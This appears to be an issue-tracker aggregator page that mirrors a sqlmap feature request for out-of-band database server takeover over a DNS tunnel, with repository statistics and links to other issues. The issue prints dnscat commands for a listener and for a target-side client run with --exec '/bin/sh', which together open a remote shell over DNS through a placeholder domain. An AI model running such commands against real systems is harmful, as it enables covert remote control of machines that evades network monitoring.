Out-of-band DNS channel for OS takeover
@bdamele ya está trabajando en esto.
Desde el 26/6/2012.
Evaluación
Este issue todavía no se ha evaluado.
Descripción
We have already got OOB database server takeover via TCP (using Metasploit payloads: shell, Meterpreter, VNC), via ICMP (using icmpsh). It is time to implement out-of-band via DNS.
DNS tunneling as a Metasploit shellcode: http://www.skullsecurity.org/blog/?p=611.
Details about dnscat: http://www.skullsecurity.org/wiki/index.php/Dnscat.
Example of string on the authoritative DNS server for tun.yourdomain.org:
sudo ./dnscat --listen
Example of string of the client (target system):
./dnscat --domain tun.yourdomain.org --exec "/bin/sh"
Type commands on the authoritative DNS server for tun.yourdomain.org where you launched dnscat, they will be executed on the client (target system) and standard output shown inline.
- Lenguaje dominante
- Python
- Estrellas
- 38.5k
- Forks
- 6.4k
- Métricas de merge de PR
- Sin PR fusionados en 30 d
Preparar el entorno
- Sin Dockerfile ni archivo de Docker Compose
- Sin plantilla de pull request
- Leer la guía de contribución
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Más de sqlmapproject/sqlmap
-
feature request
Dificultad 4/5 3-5 días Aptitud para principiantes 32/100
sqlmapproject/sqlmap#6134 ·
-
-g returns no resultsAbiertobug report
Dificultad 4/5 3-5 días Aptitud para principiantes 35/100
sqlmapproject/sqlmap#6009 ·
-
feature request
Dificultad 4/5 3-5 días Aptitud para principiantes 45/100
sqlmapproject/sqlmap#5424 · 9 comentarios · 7 reacciones ·
-
feature request
Dificultad 5/5 Más de una semana Aptitud para principiantes 25/100
sqlmapproject/sqlmap#5163 · 1 comentario · 3 reacciones ·
-
feature request
Dificultad 5/5 Más de una semana Aptitud para principiantes 25/100
sqlmapproject/sqlmap#4973 · 4 comentarios ·
Todos los issues de sqlmapproject/sqlmap
Issues similares
-
bug server
Dificultad 2/5 1-3 horas Aptitud para principiantes 78/100
Los mantenedores suelen responder en 1 día
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 78/100
sportsdataverse/sportsdataverse-py#641 ·
Los mantenedores suelen responder en 1 día
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 82/100
googleapis/google-cloud-python#18532 ·
Los mantenedores suelen responder en 1 día
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 72/100
Los mantenedores suelen responder en 1 día
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 72/100
Los mantenedores suelen responder en 1 día